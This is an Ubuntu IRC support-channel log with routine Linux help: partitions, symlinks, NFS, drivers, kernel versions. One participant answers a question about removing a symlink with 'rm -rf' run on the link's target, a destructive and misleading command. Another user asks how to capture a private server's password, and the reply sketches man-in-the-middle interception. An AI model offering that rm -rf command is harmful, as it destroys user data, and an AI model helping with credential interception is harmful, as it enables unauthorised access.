[04:21] <Hoobly> mneptok: when I create the /boot partition, do I automatically partition the rest of the "Free Space"?
[04:21] <srecko> jrib, just what you need to know (reasons are weird...) - copied the file list file from a computer where the packet is installed
[04:21] <jano_> how do I add a different keyboard layout in xubuntu?
[04:21] <jrib> srecko: heh, ok
[04:22] <ikonia> un_operateur I am rusty so could be wrong
[04:22] <Hoobly> mneptok: Do I also have to set the bootable flag?
[04:22] <riotkittie> jano_:  in X? or console?
[04:22] <noobcook> whats a good linux website manager?
[04:22] <ikonia> noobcook website manager ???? what
[04:22] <mneptok> Hoobly: how much RAM?
[04:22] <jano_> riotkittie, in x... so that I would have two and be able to switch with alt+shift or so
[04:22] <noobcook> ikonia: so you can log into your website and change things
[04:22] <noobcook> like frontpage
[04:22] <Hoobly> mneptok: 256mb
[04:22] <ikonia> noobcook a content manager ?
[04:23] <noobcook> ikonia: yeh
[04:23] <srecko> ;)
[04:23] <ikonia> noobcook do you want an application to design webpages - or a content manager ?
[04:23] <dumbintel> I'm sorry how do I add some dir to my path?
[04:23] <noobcook> content manager
[04:24] <ikonia> noobcook thats a web application then - things like jamoola, etomite, modx etc
[04:24] <riotkittie> jano_: ahh. i couldnt find that ability in xfce when i tried ...  added the layout directly to xorg.conf instead
[04:24] <noobcook> whats the smallest most versetile?
[04:24] <mneptok> Hoobly: | /boot (250MB marked bootable) | swap space (1GB) || LVM | / (10GB) | /home (remainder | ||
[04:24] <jano_> riotkittie, how?
[04:24] <ikonia> noobcook personal opinion - research it yourself
[04:24] <ikonia> noobcook most that are small are not versitle
[04:24] <noobcook> k
[04:25] <noobcook> thats true
[04:25] <noobcook> its good to find a balance though
[04:25] <||arifaX> where can I try to search? guessnet and resolvconf installed here. worked good for a while. now when doing sudo ifup --force eth0 resolvconf does no longer update my dns settings any clue?
[04:25] <ikonia> noobcook thats why its personal opinion
[04:25] <Hoobly> mneptok: I'll try that
[04:25] <riotkittie> jano_: are you familiar with editting xorg.conf at all ?
[04:25] <jano_> riotkittie, I believe somebody advised me to do so, but it made my keyboard to be like in macs (ctrl+a jumps to the beginnig of a line)
[04:25] <ikonia> ||arifaX dns server not offering dhcp settings ?
[04:25] <riotkittie> ohh
[04:26] <ikonia> ||arifaX  I meant dhcp server not offering dns settings
[04:26] <riotkittie> brb
[04:26] <jano_> how do I get to my stuff that I have enabled for sharing on different ubuntu machine?
[04:26] <ikonia> jano_ how have you shared it
[04:27] <jano_> ikonia, the sharing dialog (nfs...)
[04:27] <||arifaX> ikonia: I get the dns settings from dhcp and not the ones I wrote in my interfaces file, but I get the static IP that I configured. If i stop a lot of things (ifplugd,vmware,resolvconf,eth0..) and restart and play arround sometimes it works fine, but I can not findout a shared issue
[04:27] <ikonia> jano_ you need to nfs mount it then
[04:27] <paolo> hi. how can I automatically start process1 when process2 is killed by an event?
[04:27] <paolo> i mean: i have process2 which is killed by pressing "Esc" key. I want that process1 starts automatically when this occours...
[04:27] <ikonia> ||arifaX sory what ou've just said is random - we need solid facts
[04:27] <Nyty> hello
[04:27] <Nyty> i have big problem with debian
[04:27] <jano_> ikonia, and how do I do that?
[04:27] <Nyty> big trouble
[04:28] <Nyty>  i cant repair grub
[04:28] <Nyty> i cant boot to it
[04:28] <ikonia> Nyty this is #ubuntu support - please join #debian
[04:28] <Nyty> i remove disk where is mbr
[04:28] <||arifaX> ikonia: maybe you can give me some hints which config files I should check or pastebin to verify?
[04:28] <igor> hi all!
[04:28] <Nyty> its debian
[04:28] <cokeslut> Hello
[04:28] <ikonia> jano_ !nfs | jano_
[04:28] <Nyty> i`m here only from live distribution
[04:28] <Nyty> i dont like ubuntu
[04:28] <ikonia> ||arifaX can't give you any hints as you've not told me any facts
[04:28] <savvas> i need the gpg key of the wine repository: wine.budgetdedicated.com - can anyone help me find it?
[04:28] <Nyty> in repair cd is problem with IRssi
[04:28] <ikonia> Nyty then join #deibna
[04:28] <Nyty> ahhh
[04:28] <ikonia> Nyty #debian sorry
[04:28] <Nyty> i`m on #ubuntu, sorry
[04:28] <Nyty> :-0
[04:28] <Nyty> :-)
[04:28] <jano_> !nfs
[04:29] <ubotu> nfs is the network file system. See https://help.ubuntu.com/community/SettingUpNFSHowTo for information on installing and configuring NFS.
[04:29] <ikonia> Nyty shut up - you've just said your on debian and you hate ubuntu
[04:29] <ikonia> thats not an accident
[04:29] <srecko> eeerm
[04:29] <||arifaX> ikonia: how looks a default /etc/host.conf
[04:29] <cokeslut> confidential
 i dont like ubuntu
[04:29] <ikonia> etc
[04:29] <Nyty> :-)
[04:29] <ikonia> ||arifaX different for different hosts
[04:30] <ikonia> Nyty join #debian
[04:30] <user-land> The updates work well here, thank you all :-)
[04:30] <Nyty> i`m here
[04:30] <Nyty> i`m there
[04:30] <||arifaX> Nyty: does not like it he/she loves it :)
[04:30] <ikonia> 'whois Nyty
[04:30] <NoIzEr> hi guys, I have some problems modprobing ndiswrapper
[04:31] <y3it221_klce> can anyone suggest me some projects in Socket Programming (in C)
[04:31] <ikonia> y3it221_klce /join #ubuntu-offtopic - or #c
[04:32] <savvas> i need the gpg key of the wine repository: wine.budgetdedicated.com - can anyone help me find it?
[04:32] <ikonia> savvas ask the site maintainer
[04:32] <mneptok> savvas: Google?
[04:33] <savvas> mneptok: i already tried that
[04:33] <ikonia> savvas just ask the maintainer
[04:33] <savvas> but haven't asked the maintainer, that's a good idea ;p
[04:33] <savvas> thanks
[04:34] <ikonia> why is this channel a "how do I wipe my bum" place
[04:34] <Azul> why don't the maintainer just posts it somewhere so he don't get tons of emails
[04:34] <mnoir> ikonia: cuz folks are willing to do the wiping?
[04:35] <mneptok> just to touch the bum.
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[04:35] <savvas> Azul: that was my question too, but i guess i'll ask him :P
[04:36] <piao> how to set gedit default encoding?  thank you !
[04:36] <avalon> Is it possible to use ubuntu as a router/internet firewall on an old computer?
[04:36] <Azul> avalon, any linux can do that
[04:36] <mnoir> avalon: use IPCOP - it is preset to do this and meant for old machines
[04:36] <savvas> !iptables | avalon
[04:36] <ubotu> avalon: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[04:37] <avalon> IPCOP looks good and all, but it looks rather difficult to configure to the settings I'd need. They're rather advanced.
[04:37] <thartman> Say I want to install mysql 4.0.20, which is very old, no longer supported, but I need it to match something I have in production. can I do this with apt-get?
[04:37] <thartman> apt-cache search doesn't find it for me.
[04:38] <thartman> but I don't know much about apt.
[04:38] <mnoir> avalon: i am surprised - it is doing some very heavy duty things in the world
[04:38] <nir05> kjkj
[04:38] <mnoir> avalon: it would be easier to make ipcop behave for you than ubuntu since it is already set up for the task
[04:38] <thartman> is there a package search engine I could use to find it?
[04:38] <avalon> I'd need to take a connection split it from a cable modem between two computers. One of them would only have access to the internet and 10 kb of torrent download speed. The other would have no limit on DL speed.
[04:38] <Azul> thartman, google
[04:38] <hakrzcode> thartman, if you really need this, then I would suggest to install vmware, and install an old dist. You will not find an old version of mysql on apt, due to library dependencies.
[04:39] <mnoir> avalon: that is built in already
[04:39] <thartman> yeah, it would help.
[04:39] <avalon> It's built into IPCOP to control bandwith to specific IPs?
[04:39] <mnoir> yes
[04:39] <thartman> interesting, if I install an old dist can I then do apt-cache search and it will be found?
[04:41] <pike_> thesaint: warty i believe has it
[04:41] <hakrzcode> thartman, there is a possiblity, but it would depend on the mirror still keeping a mirror of that dists files. You might have luck.
[04:41] <pike_> thartman: wong nick ^
[04:41] <hakrzcode> thartman, I would bring up the mirror list, and manually ftp over to there, and check out the possibility.
[04:42] <n33o> I have a problem.. my ubuntu install is sitting at 640x480 on gui.. gnome.. but it gives me no option to change in the gui only 640x480.. any ideas how to fix this ?
[04:42] <pike_> !fixres> n33o
[04:42] <mnoir> !fixres | n33o
[04:42] <ubotu> n33o: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[04:42] <krzysiek> Hi
[04:42] <pradeepvglughyd> Sai Kaka unnava
[04:42] <Dextorion> hi
[04:42] <sivaji> if i try to compile a program  MinGwStudio window get closed ple tell me what to do?
[04:42] <krzysiek> Why I cant copy from windows share on fat32 ??
[04:42] <krzysiek> Any help ?
[04:43] <mnoir> !ntfs | krzysiek
[04:43] <ubotu> krzysiek: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse
[04:43] <thartman> harzcode: how do I bring up the mirror list?
[04:43] <hakrzcode> krzysiek, permissions.
[04:43] <hakrzcode> thartman, hold on. I will pass the debian, and ubuntu list.
[04:43] <thartman> much obliged.
[04:44] <krzysiek> hakrzcode: no, I can copy file from windows share on my home which is on ext3
[04:44] <noobcook> whats the command to unpack a tarball again
[04:44] <krzysiek> hakrzcode: and I can copy from my home to fat32 which is under /media/fat32
[04:44] <thartman> noobcook tar -xzvf file.tar.gz
[04:44] <noobcook> ty
[04:44] <thartman> noobcook: or tar -xvf file.tar
[04:44] <krzysiek> hakrzcode: however I cant copy from windows share to that fat32
[04:44] <thartman> if it's not gzipped.
[04:44] <noobcook> k
[04:44] <Bluedog> How can you make transparent terminal windows show the window below, not the desktop, anyone know?
[04:44] <krzysiek> hakrzcode: any idea ?
[04:44] <Bluedog> would be useful for copying in commands etc
[04:44] <Azul> cuz linux can handle fat32 better than windows
[04:45] <hakrzcode> krzysiek, check local permissions on the file, and parent folders. Alot of this, is due to local permissions, overriding smb permissions.
[04:45] <sivaji> tar -zvxf file.tar.gz
[04:45] <sivaji> tar -jxvf file.bz2
[04:45] <sivaji> unzip file.zip
[04:45] <krzysiek> hakrzcode: but file apears however it has 0 bytes
[04:45] <zlaja> i just installed ubuntu on nx9010 laptop. however there is a problem with blender app. if i do right mouse click, screen goes all abstract. #blender ppl say it must be driver problem. please msg me..
[04:46] <krzysiek> hakrzcode: I can copy on ext3 however when I try to copy from samba on fat32 files have 0 bytes
[04:46] <hakrzcode> krzysiek, if the fat32 is on your linux, then I would probably say that you have some kind of problem,that is causing the linux to remount it as read only. I had this problem, due to invalid UTF8.
[04:46] <Azul> if it's 0 bytes then there is nothing to extract
[04:46] <Azul> go get it again
[04:46] <krzysiek> Azul: its just an mp3
[04:46] <riotkittie> Bluedog: you need transparency enabled. i do it with xcompmanager and transset
[04:46] <thartman> 
[04:46] <krzysiek> Azul: I want to copy from my windows share
[04:47] <riotkittie> Bluedog: if you search the forums for transparent terms, you should find a how-to
[04:47] <barata> hey ... how to fix Ubuntu exclusive sound problem? I mean when 1 app is using it, automatically it locks the other app IF the app is still running (although it stops playing)
[04:47] <Azul> krzysiek, but it's 0 mb
[04:47] <Azul> that means there is no music in it
[04:47] <Azul> !transparent
[04:47] <barata> I've chmod /dev/dsp ;; and still cannot fix it
[04:47] <ubotu> Sorry, I don't know anything about transparent - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:47] <krzysiek> Azul: yes
[04:48] <krzysiek> Azul: why this happens only when copying from samba on fat32 ?
[04:48] <Azul> krzysiek, so go get another copy
[04:48] <krzysiek> Azul: What ?
[04:48] <krzysiek> Azul: :)
[04:48] <klaxian> can anyone help with a compiz question?
[04:48] <roxlu> hi all
[04:48] <roxlu> how can I remove a "ln -s" which I created?
[04:48] <Azul> krzysiek, never mind.. it seems impossible for me to help you
[04:48] <savvas> `/part
[04:48] <krzysiek> Azul: I dont need that file, sure I can burn them.. however I just want to be able to copy from windows share to fat32
[04:48] <savvas> oops
[04:49] <sivaji> is there any ide similar to ms visual studio in kde
[04:49] <roxlu> jrib: do you know? or kan I just do a "sudo rm [linkname] " ?
[04:49] <hakrzcode> thartman: debian: http://www.debian.org/mirror/list :ubuntu: http://www.ubuntu.com/products/GetUbuntu/downloadmirrors
[04:49] <pike_> sivaji: dunno but alot of people like kdevelop
[04:50] <noobcook> etomite is hard to install
[04:50] <noobcook> lol
[04:50] <noobcook> do i compile it?
[04:50] <noobcook> its all .php
[04:50] <hakrzcode> thartman: at the risk of getting banned, I would check out the debian warty reference from above.
[04:50] <Azul> noobcook, no, you run a server on your computer then open firefox and type localhost/etomite
[04:51] <thartman> harzcode: that was really helpful.
[04:51] <noobcook> Azul:  what if im trying to connect to my work server
[04:51] <Azul> read the installation procedure, it cannot be posted in a chat room
[04:51] <Azul> too long
[04:51] <Azul> put the etomite files on the work server
[04:51] <iote> Hi there, is it normal behavior in ubuntu that when I "chvt 1" then "chvt 7" my X session is restarted?
[04:51] <Azul> but really, read the installation procedure and you'll get it to work fine
[04:51] <klaxian> does anyone run compiz?  i'm have it working really well except one tiny annoyance...i was hoping someone could help
[04:52] <Azul> klaxian, don't ask to ask a question, just ask your question
[04:52] <klaxian> Azul: alrighty :)
[04:52] <noobcook> Azul: ok i was hoping for a way to be able to connect without any server side files?
[04:52] <jrib> roxlu: yes
[04:52] <hakrzcode> thartman: np.
[04:53] <roxlu> jrib: so just rm [linkname]  ?
[04:53] <klaxian> so I have compiz installed and working well.  the problem is that when some windows are created, they appear with no menus and they dont show input (typing or mouse clicks)
[04:53] <jrib> roxlu: yes
[04:53] <klaxian> I can resize the window a little and it will then behave normally
[04:53] <roxlu> thanx! (and only the link is remove? ) sorry.. I need to know ti really sure.. kind of important data
[04:53] <riotkittie> iote: is this happening when you change before the X session has fully started?
[04:53] <ppianta> anyone got 'keyring manager' working in edgy?
[04:53] <klaxian> it doesn't happen all the time, but pretty frequently
[04:53] <klaxian> any ideas?
[04:53] <ppianta> i don't see anyway to add a key
[04:53] <riotkittie> or after the session's well established?
[04:54] <hakrzcode> iote: changing the foreground of the virtual terminal, where X is running, causing it to be reset? I would probably say so.
[04:54] <klaxian> i'm using the official compiz packages from feisty
[04:54] <ppianta> roxlu, i just got here - what is your question?
[04:54] <n2diy> anybody know of a meal planner for Ubuntu?
[04:54] <mnoir> klaxian: not to be unfriendly, but the group for xgl product support is #ubuntu-xgl.  plus you are crossing releases which is at best unwise and feisty support is in #ubuntu+1
[04:55] <daftman> meal planner?
[04:55] <roxlu> how can I remove a "ln -s" which I created?
[04:55] <daftman> what is a meal planner?
[04:55] <daftman> roxlu rm
[04:55] <MarcN> roxlu: rm file
[04:55] <apokryphos> roxlu: rm somelink
[04:55] <ppianta> you can safely remove a symbolic link by just typing rm mylink
[04:55] <roxlu> oke great! thanx
[04:55] <klaxian> mnoir: thanks for the info...i'll ask in that channel, but i'm not crossing releases :)
[04:56] <klaxian> mnoir: also #ubuntu+1 is dead
[04:56] <ppianta> watchout for the tab completion if it is a directory - it will give rm mylink/
[04:56] <ppianta> which will not work
[04:56] <daleth>  /window close
[04:56] <hakrzcode> roxlu: rm -f "link"
[04:56] <ppianta> the slash will give an error
[04:56] <aigarius> is there a problem with this weeks kerne update in edgy breaking nvidia support? I forced the upgrade and the nvidia driver got uninstalled
[04:56] <mnoir> klaxian: sorry - feisty is ot in this group
[04:56] <roxlu> hakrzcode: gonna read that option...
[04:57] <daftman> rm -rf `readlink somelink`
[04:57] <ppianta> roxlu, -f is force
[04:57] <ppianta> means no prompt 'r u sure?'
[04:57] <hakrzcode> roxlu, the -f option is my bad habit. Do not do it, as a rule. sorry
[04:57] <roxlu> oh oke
[04:58] <ppianta> so anyone use 'keyring manager' in gnome?
[04:58] <P3L|C4N0> greetings
[04:58] <riotkittie> hello P3L|C4N0
[04:59] <hakrzcode> ppianta, yes, it is neccesary, if you wish to encrypt files, or email.
[05:00] <daftman> anyone experienced something wrong with gconf?
[05:00] <paolo> well i have to write some code. do you know which is the C function equivalent to pidof, and its header?
[05:01] <Azul> paolo, try #C
[05:01] <theflyingfool> how do i change which volume control the volume key on my keyboard changes
[05:02] <paolo> hi. i need to see if a process (unknown PD and known name "myprocess") is active. which function (posix, i guess) should i use? thnks
[05:02] <daftman> lol goodluck theflyingfool
[05:02] <theflyingfool> daftman: that doesnt sound like good news...
[05:02] <daftman> it is not easy because you need to detect your keyboard
[05:02] <iote> hakrzcode: not sure what you mean by "changing the foreground". it just that when i switch the terminal to 1 than back to 7 it restarts X w no apparent reason like xgl, dri.. actually, ie disabled all those and it still happens... also, its just an Intel 82865G... nothing gets logged... very weird
[05:03] <ppianta> hakrzcode, r u able to add a key to it yourself manually?
[05:03] <daftman> are you using a laptop or a usb keyboard
[05:03] <theflyingfool> daftman: usb keyboard,
[05:03] <daftman> then you need to find out the driver for that usb keyboard
[05:03] <theflyingfool> daftman : it shows that its changing volume its just changing the wrong volume
[05:03] <strigga> Hey Guys.. I have finally gotten my NVidia Drivers up and running, also supporting my two monitors. I read on the net that Ubuntu should be able to cope with the two monitors and be able to maximize to one screen - which it doesn't.. Any clue where to start?
[05:03] <hakrzcode> iote, do a "man chvt", it is informative.
[05:03] <daftman> ah so it does detects it?
[05:04] <ppianta> strigga, twinview
[05:04] <theflyingfool> daftman: yeah, i just need to change which volume it changes
[05:04] <daftman> what does it mean by it changing the wrong volume?
[05:04] <ppianta> i think that is what you need - i have ati
[05:04] <daftman> check keyboard binding in administration
[05:04] <riotkittie> gpm! sweet.
[05:04] <Hmmmm> daftman, what's wrong wiht gconf?
[05:04] <strigga> @Ppianta. Is installed. Both monitors are running, but maximizing goes over both screens.
[05:05] <Hairball> anyone know why my user/pass would get rejected trying to map to a samba share from xp ?
[05:05] <theflyingfool> daftman: it changes "master mono" which doesnt affect volume, i need it to change "PCM"
[05:05] <daftman> Hmmm: "gconf not doing anything" Gconf exiting
[05:05] <iote> hakrzcode: well not here... just 10 lines teaching how to do a ctr+alt+whateverterminal
[05:05] <hakrzcode> ppianta, yes, I can. you can make your keys, and such through seahorse.
[05:05] <strigga> ppianta. Or is there anything to configure in twinview?
[05:05] <ppianta> strigga, oh ok - out of my league sorry
[05:05] <ppianta> hakrzcode, what is seahorse
[05:06] <ppianta> ?
[05:06] <daftman> Hmmm: it basically just crash once every often
[05:06] <noobcook> hakrzcode: ive got a program on my win partition that connects to a private irc server under a password, in linux i can find that password and server?
[05:06] <aigarius> just FYI - this week one of the xgl/beryl repositories f*cked up a bit and thus caused an upgrade problem for NVidia binary driver users of edgy that have those repositories enabled
[05:06] <hakrzcode> iote, it does not do the same thing as ctl-alt-f{1-9}. It is for cleaning up unused terminals. Basically resetting the vt.
[05:06] <daftman> theflyingfool: check you keyboard binding in administration - I haven't muck around with it much so I can't tell you exactly where
[05:07] <riotkittie> noobcook: what irc program are you using under win?
[05:07] <daftman> noobcook: y are you still on so late?
[05:07] <theflyingfool> daftman:  im not quite sure what that means but it detects all my keys, and they all work just not on the right things
[05:07] <noobcook> daftman: i stuffed up my body clock
[05:07] <hakrzcode> noobcook. keys are a 0ne way encryption. There is no way to extract passwords from keys.
[05:07] <noobcook> riotkittie: its some custom thing
[05:07] <riotkittie> ah
[05:07] <daftman> theflyingfool: I am not on my ubuntu box at the momment but go into adminstration tab and tell me wha tyou see
[05:08] <hakrzcode> ppianta, it is key manager.
[05:08] <noobcook> hakrzcode: so i cant tcp dump outgoing data and get the encrypted password?
[05:08] <daftman> theflyingfool: either that or "preferences"
[05:08] <ppianta> hakrzcode, ok i see what seahorse is - but i thought i should be able to see at least some keys in gnome-keyring-manager by default - i connect to remote servers with the 'Connect Server' option and don't want to keep entering the password
[05:08] <theflyingfool> under the preferences on keyboard it doesnt allow me to switch it
[05:08] <riotkittie> gahhhh. this is what i get for not checking md5 ;\
[05:08] <theflyingfool> i've messed around with almost every setting for it
[05:08] <Azul> i gotta get off this computer and start doing work
[05:09] <iote> hakrzcode: The  command chvt N makes /dev/ttyN the foreground terminal. The corresponding screen is created if it did not  exist  yet.  To  get  rid  of unused VTs, use deallocvt.
[05:09] <daftman> theflyingfool: in that tab there is a keyboard setting which you can use to bind your keyboard keys like sleep function
[05:09] <theflyingfool> the keyboard shortcuts under pref
[05:09] <hakrzcode> noobcook, no, you cannot. keys are not the same as passwords.
[05:09] <iote> hakrzcode: quoted from the man
[05:09] <daftman> theflyingfox: and it still doesn't work?
[05:09] <hakrzcode> iote, yes.
[05:09] <theflyingfool> and they are set to volume up and volume down, but it doesnt change the right setting in my volume
[05:10] <MrScrewed> I have a quick question.
[05:10] <iote> hakrzcode: it does exactly the same thing as ctrl+alt+whateverterminal
[05:10] <noobcook> hakrzcode: because some peepole in the past have connected to the server threw a normal irc client, a breech of contract but yeh, how do they do it?
[05:10] <riotkittie> MrScrewed: and that question would be? :P
[05:10] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[05:10] <daftman> theflyingfool: I guess you might have to google it. i am sure it isn't that hard. Have you tried looking at the gnome-volume-manager?
[05:11] <MrScrewed> What are the average system requirements to run ubuntu?
[05:11] <iote> hakrzcode: anyway, a ctrl+alt+whateverscreen shouldnt cause X to restart, wich does in my case...
[05:11] <daftman> theflyingfox: that controls the volume, so try googling that.
[05:11] <riotkittie> MrScrewed: i'm not really sure. how low are  your specs?
[05:12] <theflyingfool> daftman: i've looked at almost everything, but ill google volume control
[05:12] <BrendanM> You could try Xubuntu for a low-spec machine
[05:12] <mrlinux> when i search for gparted in my add remove programs under apps  it says it's not there
[05:12] <hakrzcode> noobcook, they can do a man in the middle, where they capture the traffic, from the beginning of the handshake, and then they will change the keys for their keys, therefore they can decrypt from one side, and encrypt for the other side. But, then again, go to offtopic if you wish to discuss this.
[05:12] <daftman> MrScrewed: You should get at leaste a P4 1.5 GHz and 512 ram to get nice feel to the GUI
[05:12] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[05:13] <noobcook> ok
[05:13] <Li`lEndian> what is wrong with this statement:  update-rc.d iptables_azureus start 51 S
[05:13] <riotkittie> mrlinux: perhaps its under system > administration?
[05:13] <BigToe> daftman, I dunno... I run a 2.6 celeron with 256mb ram and it runs quite fast
[05:13] <daftman> noobcook: you still want to hack my computer?
[05:13] <BigToe> much better than windows anyway
[05:13] <BrendanM> Xubuntu runs pretty decent on my PIII w/128 megs of ram
[05:13] <noobcook> daftman: hahahaha =p
[05:13] <noobcook> gimi root
[05:13] <Li`lEndian> the command just outputs the syntax instead of running it
[05:13] <mrlinux> riotkittie, nope  i am running edubuntu
[05:13] <riotkittie> im running it on a pIII 750mhz, 256mb ram
[05:13] <noobcook> i cant even get the program i compiled to work daftman =(
[05:13] <daftman> noobcook: I will but I will also contact the ASIO
[05:13] <noobcook> LOL
[05:14] <riotkittie> mrlinux: can you start it from a command line?
[05:14] <noobcook> ^^
[05:14] <BrendanM> Hello all, is there anyone here who's good with networking or VPN in particular? I've been having some trouble and I posted to the forum but haven't gotten any responses: http://ubuntuforums.org/showthread.php?t=336375
[05:14] <mrlinux> i am running PIII 350mhz 1gb sdram
[05:14] <daftman> riotkitty: I used to have that but I feel it is so sluggy
[05:14] <daftman> mrlinux: why put so much ram on a crappy machine
[05:14] <riotkittie> ive got slackware on a 333mhz amd k-6 192mb ;p
[05:15] <mrlinux> riotkittie, what is the command to run it from terminal
[05:15] <daftman> slackware? you get into the gui?
[05:15] <MrScrewed> I have a machine that I want to just run it alone... it's a PII 250 with 128 mb I just wonder if that's enough for it to run
[05:15] <mrlinux> daftman, i am upgrading my processor today
[05:15] <daftman> MrScrewed yea it is enough to run Xubuntu
[05:16] <riotkittie> mrlinux: try alt+f2 then gksudo gparted
[05:16] <daftman> MrScrewed: if you want you can install fluxbox instead of the *buntus
[05:16] <BrendanM> MrScrewed, I'd go with Xubuntu not regular Ubuntu
[05:16] <BrendanM> Fluxbox would be even faster than Xfce
[05:16] <mrlinux> riotkittie, didn't do nothing
[05:16] <BrendanM> but I don't care for it much
[05:17] <daftman> if you have a p2 I would use it as a fileserver or a firewall hehehehe
[05:17] <riotkittie> i have xfce installed along with a few others. xfce on ubuntu fails to impress me.
[05:17] <riotkittie> :/
[05:17] <riotkittie> mrlinux: then "sudo apt-get install gparted"
[05:17] <daftman> you are right riotkittie
[05:17] <daftman> xubuntu is very sluggish on ubuntu
[05:17] <MrScrewed> yeah that's all I want it to do is pretty much store files and allow me to learn command line based Linux
[05:17] <strigga> Traing again :) :Hey Guys.. I have finally gotten my NVidia Drivers up and running, also supporting my two monitors. I read on the net that Ubuntu should be able to cope with the two monitors and be able to maximize to one screen - which it doesn't.. Any clue where to start?
[05:17] <deepsa> can someone tell me what's this for http://bugs.beryl-project.org/browser/branches/beryl-plugins/thumbnail2/thumbnail_tex.h
[05:18] <BrendanM> then just do a server installation and forget about the GUI
[05:18] <daftman> MrScrewed if so then just install a Command line version of ubuntu
[05:18] <daftman> you don't need X
[05:18] <strigga> Twinview is working fine, just maximizing goes over 2 screens
[05:18] <paolo> well, another question i have to control if two process are active (i can use pidof). if they aren't active I have to control the same thing after 3 seconds. if they aren't active yet I have to launch another process
[05:18] <daftman> It is the GUI that will be eating your resources
[05:18] <riotkittie> daftman: i did not know how sweet xfce could be until i installed zenwalk on my 2nd linux partition
[05:18] <riotkittie> the difference is insane
[05:18] <Jowi> MrScrewed, yeah that will do. check out this https://help.ubuntu.com/community/Installation/LowMemorySystems
[05:18] <MrScrewed> yeah but I feel that I need X at least to get familiar with completely dropping xp period.
[05:19] <Vuen> strigga: what version of the drivers do you have installed?
[05:19] <ppianta> strigga, what is the nvidia command line tool they provide for configuring the driver
[05:19] <ppianta> ?
[05:19] <daftman> if you use CLI, you would never need to use X
[05:19] <daftman> riotkittie: how different? like major different?
[05:19] <Vuen> strigga: the latest stable 9xxx series will maximize to one screen, i'm using it right now. you may need to update your drivers. the ones in the repo are not the newest ones, not by a long shot
[05:19] <riotkittie> there are times when X comes in handy. for like. viewing certain webpages :P
[05:20] <irv> how can I tell what video card I have on board (without opening the case)?
[05:20] <Vuen> strigga: hold on
[05:20] <daftman> riotkitty heheheheh yes
[05:20] <MrScrewed> well all I want is a basic installation with network support and I want to figure out the rest.
[05:20] <Jowi> MrScrewed, follow that link and install just the base Xorg with a light window manager. it works fine on low end systems.
[05:20] <strigga> vuen. I have a 7900GT
[05:20] <n2diy> MrScrewed: Pentium Irv lshw
[05:20] <Vuen> strigga: yes but what version of the drivers?
[05:20] <neghsmoke> !ati > neghsmoke
[05:20] <MrScrewed> what distro would you recommend for a system so slow?
[05:20] <strigga> vuen hang on
[05:20] <n2diy> Irv, lshw
[05:20] <daftman> MrScrewed if you really want to play lowspec: get DSL
[05:20] <Jowi> MrScrewed, https://help.ubuntu.com/community/Installation/LowMemorySystems
[05:20] <riotkittie> daftman: the performance difference is ...  it's like a completely different machine. i cant describe it, but it's nice.
[05:21] <strigga> vuen 1.0-8776
[05:21] <daftman> what is zenwalk like riotkittie? Is it another distro?
[05:21] <Vuen> strigga: yeah those are too old. follow the instructions here: http://wiki.beryl-project.org/wiki/Install_Beryl_on_Ubuntu_Edgy_with_nVidia#Installing_the_nVIDIA_Beta_Driver
[05:21] <mrlinux> riotkittie, ok thx it works
[05:21] <Vuen> strigga: but ONLY do step 2, don't continue with the beryl installation
[05:21] <strigga> vuen thanks. will give it a try
[05:22] <strigga> vuen ok
[05:22] <rafin> Hello, want to buy a new mainboard (Asrock 775Dual-VSTA), but need to know which kernel current release Ubuntu has?
[05:22] <riotkittie> daftman: yeah, it's another distro - based on slackware, but without what some consider to be the bloat.
[05:22] <daftman> ooo zenwalk is based on slackware
[05:22] <daftman> lol and i thought slackware is slim
[05:22] <Vuen> strigga: basically all you need to do is add that repository, then apt-get update and upgrade. then restart x with ctrl+alt+backspace, then gksudo nvidia-settings, set it up as you want and then save settings to x config file
[05:22] <Vuen> strigga: and that's it.
[05:22] <MrScrewed> I have cable but I'm just trying to get the damn thing to install to see if it will at least run
[05:23] <BrendanM> So does anyone here use Network Manager to do PPTP VPN connections?
[05:23] <riotkittie> my zen partition takes up 1.4 gb ;p
[05:23] <mrlinux> i got a wierd question for ya guys   when you get a standard MP3 player (Not a Damn Piece of crap IPOD) shouldn't the partition on it be a fat filesystem
[05:23] <Jowi> yes mrlinux
[05:24] <daftman> lol riotkittie man zenwalk sounds nice: I think I'l download it and put in on my old comp and donate it to the local church
[05:24] <rafin> Hello, anyone knows which kernel Ubuntu has?
[05:24] <mrlinux> jowi, but according to gparted my file system is unallowcated but it still works every where
[05:25] <riotkittie> :)
[05:25] <n2diy> rafin, it has over a dozen of them.
[05:25] <daftman> riotkittie: ugh 2GB why does a small distro need 2GB
[05:25] <daviey> rafin, use uname -r and it will tell you what kernel you are using
[05:25] <rafin> n2diy tank you but which is it when I download current release
[05:26] <rafin> daviey thanks, but I;m not running it yet
[05:26] <daviey> rafin, well why not?!?!
[05:26] <n2diy> rafin: I'm not sure, I'm not running a stock kernel here.
[05:26] <Jowi> mrlinux, never encountered that. you probably should not format it to test in case the mp3player do not have a backup of its settings in ROM somewhere... some mp3players have an option in their menues to format.
[05:26] <Li`lEndian> hello, I've been trying to fix the NAT problem i am having. i use an ICS connection to get access to the internet. I did the portforwarding thing on ICS advances settings to allow both UDP/TCP access for azureus.
[05:26] <theflyingfool> does anyone know how to change which volume gets changed with the keyboard?
[05:26] <Smotang> How do i schedule a shutdown in say 3 hours time?
[05:26] <daftman> rafin: the lastest kernel is 2.6.19.1
[05:26] <daftman> but ubuntu use 2.6.17
[05:26] <BrendanM> Smotang, "sudo shutdown -P 180"
[05:26] <daviey> rafin, if you upgrade after installing edgy (6.10) to current you will have 2.6.17-10-generic
[05:26] <Jowi> rafin, 2.6.15 in dapper
[05:26] <daftman> that's dapper
[05:26] <Li`lEndian> and then added ports to the iptables on ubuntu. still azureus shows a NAT error
[05:26] <Smotang> thanks
[05:27] <n2diy> Smotang: shutdown -h 180
[05:27] <daftman> edgy would be ..19
